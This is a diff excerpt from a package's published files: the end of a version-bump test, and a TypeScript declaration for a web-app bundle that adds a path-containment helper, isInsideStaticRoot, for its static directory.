+      formattedInternalEntry.replace('"version": "0.1.2"', '"version": "0.1.3"'),
+    );
     expect(externalEntry.version).toBe("4.5.6");
     expect(packedInternalEntry.version).toBe("0.1.3");
     expect(packedExternalEntry.version).toBe("4.5.6");

package/packages/bundle-web-app/dist/index.d.ts

@@ -1,8 +1,11 @@
+import { type PlatformPath } from "node:path";
 import type { Context } from "@deepseek-ai/cordis";
 import "@pi-harness/host-webserver";
 export interface WebAppConfig {
     readonly staticDir?: string;
 }
+type ContainmentPath = Pick<PlatformPath, "isAbsolute" | "relative" | "sep">;
+export declare function isInsideStaticRoot(root: string, candidate: string, pathApi?: ContainmentPath): boolean;
 declare const _default: {
     name: string;
     inject: string[];